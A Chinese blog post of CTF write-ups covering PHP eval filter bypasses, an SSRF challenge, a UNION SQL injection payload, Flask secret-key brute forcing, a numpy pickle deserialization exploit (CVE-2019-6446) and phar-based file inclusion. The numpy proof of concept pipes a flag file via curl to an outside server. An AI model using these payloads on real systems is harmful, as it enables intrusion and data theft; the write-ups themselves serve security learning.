近期比赛的wp

前言

近期一些比赛和做过的题的wp,稍微写几道总结下

wps

第五届上海市大学生网路安全大赛

web decade

考点是无参数文件读取
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if (!empty($code)) {
var_dump(__DIR__);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
//
if (preg_match('/if|time|local|sqrt|readfile|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
} else {
echo "No way!!!";
}
} else {
echo "No way!!!";
}
1
'/[a-z]+\((?R)?\)/'

这段正则限制了payload只能是以小写字母开头的无参数函数或者嵌套的单一参数函数的组合。

这道题bytectf的时候考过,但是少了对if time local 还有readfile的绕过。来分析下当时的一个payload

1
if(chdir(next(scandir(pos(localeconv())))))readgzfile(end(scandir(pos(localeconv()))));

题目明确说了flag在code文件夹在同一层,而文件排序是按照ascii码低到高排,所以相当于是要跳到上一层然后读取最后一个文件的内容。

  • localeconv()函数返回本地数字和货币信息,第一个数据是. 可以通过这个加上pos和current函数来获取当前文件夹的指针 pos(localeconv()) 获取当前目录。
  • readfile函数用来读取当前文件的内容
  • chdir函数用来切换文件夹,并返回布尔值。这里scandir列出目录的第二个是..(ls -a)。可以和chdir配和切换到上一层目录。chdir(next(scandir(pos(localeconv()))))
  • if() 可以用来连接两串表达式

这题的几个可替换的点主要如下

  1. 读文件函数,这里查手册可以发现readgzfile 可以用来替代readfile
  2. 获取. 加密后的字符串,搞出小数点,获取数字46,等等办法获取。
  3. 逻辑连接,这里没有过滤php的关键词and和or,可以用来连接两串表达式。

主要讲下第二点,我选择了加密这条路子

参考手册

1
crypt ( string $str [, string $salt ] ) : string

这个函数默认的算法是CRYPT_STD_DES,当不设置salt时,会从./0-9A-Za-z挑选任意两个字母放在最后作为salt,我们需要做的就是,凑到出现.的情况,并且将这个点提取出来。
这里我们需要两个函数帮忙

  1. strrev逆序
  2. ord 获取字符串第一个字母的ascii

最终构造payload如下:

1
chr(ord(strrev(crypt(serialize(array()))))) 获取.

这里还可以通过时间函数来获取46这个数字,但是这里time都被过滤了就不行了。另外几个加密函数还没尝试,以后可以去试试。

最终payload如下

1
echo(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))and(readgzfile(end(scandir(chr(ord(strrev(crypt(serialize(array())))))))));

web ssrf (安恒月赛原题)

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$x = $_GET['x'];
$pos = strpos($x, "php");
if ($pos) {
exit("denied");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$x");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
echo $result;
  1. strpos 会对字符串urldecode,二次编码urlcode可以过。
  2. 文件读取协议读/etc/hosts获取内网ip 172.18.0.3
  3. fuzz c段和端口 .2上有文件包含,且内网开了25 stmp服务,这里考虑用工具Gopherus打一波。写命令,读文件都可以。
  4. 最后读flag

需要注意的是由于内网包含的那个参数是get参数,所以我们需要对生成的payload再次urlencode

web 简单地sql注入

很明显是个注入

fuzz发现过滤了

, ,select union组合中间加东西可以绕过,or,if,--+注释符,-等等

这里其实我已经发现union注入是可以的,但是,,,,偏偏去盲注了。

  1. 由于过滤了or所以这里不能从information.schema里拖表名列名,表名可以从mysql.innodb_table_stats的table_name列获取,列名不知道,,,
  2. substr截取字符串,from 可以从最后来去字符串,case when 来替代if。
  3. guoup_concat是没问题的,但是,爆不了,被过滤了,所以只能用limt offset的形式去取数据。
  4. 自己写的脚本无法区分大小写,binary好像没有用不知道为啥。

最后拖出来数据库名
cctttfff ,version 5.6.46,表名 fl111aa44a99g,没了。这里感觉又盲注无列名又无法区分大小写,就没往下做了。赛后才知道,如果那个时候改union注入就,,,,

最终payload

1
http://47.105.183.208:29898/article.php?id=1%27UNION%0ASELECT%20*%20from%20((select%201)a%20join%20(select%20*%20from%20fl111aa44a99g)b)%20limit%201%20offset%201%23

需要关注的就是这个无列名注入应该只有在列只有一个时才能这么用。

pwnhub 公开赛 web

1.首先f12查看源码

发现提示

1
2
3
4

<!-- The Matrix -->

<!-- run.py -->

尝试包含run.py,获取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70

#- * -coding: utf - 8 - * -''

' ------------------------------------------------- File name : run.py Description : 用于启动 pro-system app Author : RGDZ Date : 2019/04/30 ------------------------------------------------- Version : v1.0 Contact : rgdz.gzu@qq.com License : (C)Copyright 2018-2019 ------------------------------------------------- '

''#

import lib from datetime

import timedelta from numpy.lib

import npyio from flask

import Flask, render_template, redirect, session, request,url_for, jsonify

app = Flask(__name__)

app.config['SECRET_KEY'] = "KEY_SECRET_PWN_H**"

app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days = 7)

@app.route('/')

def index():

destination = request.args.get('destination')

session["username"] = "Agent Smith"

#session["username"] = "Ne*"

return render_template([destination])



@app.route('/matrix/', methods = ['GET', "POST"])

def matrix():

if request.method != "GET":

if session.get("username") != "Ne*":

return u "Matrix discover you, so, you died..."

npy = request.files.get("npy")

npyio.load(npy)

return render_template(["matrix.html"])



@app.route('/findRedeemer/', methods = ['GET'])

def upload():

username = session.get("username")

if username == "Ne*":

return jsonify(True)

return jsonify(False)



if __name__ == "__main__":

app.run(debug = True, host = "0.0.0.0", port = 80):
  1. 审计源码发现思路如下,伪造flask的session key以Ne*用户登录,Numpy反序列化命令执行漏洞分析(CVE-2019-6446),进行命令盲注读取flag.txt
  1. 首先爆破获取flask的secret key,这里用了flask_session_cookie_manager3.py解密,如果使用的secret key能解密成功就得到了secret key
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

import os

import hmac

from hashlib import sha1

key = 'KEY_SECRET_PWN_H%s%s'

# key 'KEY_SECRET_PWN_HUB'

ss = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789'

#key = 'xiaomi.se%s'

# eyJ1c2VybmFtZSI6Ik5lbyJ9.Xbufdg.z9bAy-pxTnqHXGmuBir06DiK4Uc success key





if __name__ == '__main__':

for j in ss:

for i in ss:

key1 = key % (j, i)

output = os.popen("python3 flask-session-cookie-manager/flask_session_cookie_manager3.py decode -s " +

key1+" -c \"eyJ1c2VybmFtZSI6IkFnZW50IFNtaXRoIn0.XbuBbA.odbqqsojbwfpY981QAuKXbYoW0I\"")

o = output.read()

if 'error' not in o:

print(key1)

exit

获得key ‘KEY_SECRET_PWN_HUB’, 可通过用户 Neo( 这里可以看index.html的源码猜测)

  1. 利用poc生成test.npy文件(这里需要注意numpy的版本钥匙1.16.0),上传至。/matrix/即可在vps上获得回显
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

import os

from numpy.lib import npyio

from numpy import __version__



# config.pyflag.txtrequirements.txtrun.pystaticsupervisord.logsupervisord.pidtemplates

# flag{pwn_hub_web_matrix_sjwn}

print(__version__)





class Test(object):

def __init__(self):

self.a = 1



def __reduce__(self):

return (os.system, ('cat flag.txt|curl http://xxx.xxx.xxx.xx:80 -d @-',))





if __name__ == '__main__':

tmpdaa = Test()

npyio.save("test", tmpdaa)

# npyio.load("test.npy")

unctf 审计(类似seacms)

##parse_again -> parse_if -> @eval

思路ssti(seacms)

payload
1
2

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo()

已知

  1. 每一串传入payload不大于20个字母

  2. : eval 等为敏感字符

  3. 共3到2个分割点可以过2到3个敏感字符

#构造第一次

1
2

content=%3Csearch%3E{if{haha:type}T[0])%3C/search%3E&type=:eva{haha:typename}&typename=l($_POS
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php

$template_html = file_get_contents("template.html");

function parseStrIf($strIf)
{
if(strpos($strIf,'=')===false)
{
return $strIf;
}
if((strpos($strIf,'==')===false)&&(strpos($strIf,'=')>0))
{
$strIf=str_replace('=', '==', $strIf);
}
$strIfArr = explode('==',$strIf);
//这里根除了=绕过 元payload中 =分割的姿势没了
return (empty($strIfArr[0])?'NULL':$strIfArr[0])."==".(empty($strIfArr[1])?'NULL':$strIfArr[1]);
}

function parseIf($content){
if (strpos($content,'{if:')=== false){
return $content;
}else{
$Rule = "/{if:(.*?)}(.*?){end if}/is";
preg_match_all($Rule,$content,$iar);
$arlen=count($iar[0]);
$elseIfFlag=false;
for($m=0;$m<$arlen;$m++){
$strIf=$iar[1][$m];
$strIf=parseStrIf($strIf);
//漏洞点eval 拼接字符串
@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
}
}
return $content;
}

function parse_again(){
global $template_html,$searchword;
//这里没办法操作,因为searchnum被指定为2,相当于只有三个块可以用
$searchnum = isset($GLOBALS['searchnum'])?$GLOBALS['searchnum']:"";
$type = isset($GLOBALS['type'])?$GLOBALS['type']:"";
$typename = isset($GLOBALS['typename'])?$GLOBALS['typename']:"";


$searchword = substr(RemoveXSS($searchword),0,20);
$searchnum = substr(RemoveXSS($searchnum),0,20);
$type = substr(RemoveXSS($type),0,20);
$typename = substr(RemoveXSS($typename),0,20);
$template_html = str_replace("{haha:searchword}",$searchword,$template_html);
$template_html = str_replace("{haha:searchnum}",$searchnum,$template_html);
$template_html = str_replace("{haha:type}",$type,$template_html);
$template_html = str_replace("{haha:typename}",$typename,$template_html);
$template_html = parseIf($template_html);
return $template_html;
}
1
2
3
//被处理的关键词
$ra1 = Array('_GET','_POST','_COOKIE','_REQUEST','if:','javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base', 'eval', 'passthru', 'exec', 'assert', 'system', 'chroot', 'chgrp', 'chown', 'shell_exec', 'proc_open', 'ini_restore', 'dl', 'readlink', 'symlink', 'popen', 'stream_socket_server', 'pfsockopen', 'putenv', 'cmd','base64_decode','fopen','fputs','replace','input','contents');
$ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');

//经验证 正则没理解好,提取{if{内容}}

&content={if{haha:type}T[1])}&type=:ev{haha:typename}&typename=al($_POS

1=phpinfo();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

源表达式

{if:eval($_POST[1])}

三处替换最多可以制造三个切割点

第一个替换分割if:和$_POST[1]

中间一个替换分割eval



## 这个题主要就是通过连续替换来分割敏感字符


## 白给的上传 level 3

参考这个:https://maxncu.github.io/2019/04/05/%E4%B8%80%E9%81%93%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/

的确在好几个地方看到,后来甚至查到了wp,但是没做过这题的,做做还是挺好的
这题是文件包含漏洞,主要是几个协议的使用
1. php filter协议读取本地文件
2. phar协议读取压缩包中的文件(具体参考php文档,这个性质要5.3版本以上)

这题是白名单,就doc和docx可以上传,这里需要提一点本质上doc和docs都是压缩文件,所以可以用phar协议去操作

我们先观察下这个f参数,参数名是upload,我们把它去掉,response为空,再试试index,该站无法正常运作。所以我猜测这里应该有文件包含漏洞,而且后台语句是include $_GET['f'].'.php'
那我们可以尝试用php://filter 协议读取upload和index的内容

将回显base64解密

``` upload.php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('doc','docx');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = "upload/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$msg="上传成功,保存路径:".$img_path;
}
else{
$msg = "上传失败";
}
}
else{
$msg = "只允许上传.doc|.docx类型文件!";
}
}
?>

<form enctype="multipart/form-data" method="post">
<h1>老师喊你交实验报告了</h1>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
<div id="msg">
<?php
if($msg != null){
echo "提示:".$msg;
}
?>
</div>
1
2
3
4
5
6
<?php
$f=$_GET['f'];
if(isset($f))
include($f.'.php');
else
header("location:index.php?f=upload")

那么我们的思路来了,创建一个.doc改后缀为zip,把我们的shell搞进去,再上传的时候改回来,最后用phar协议读shell

image.png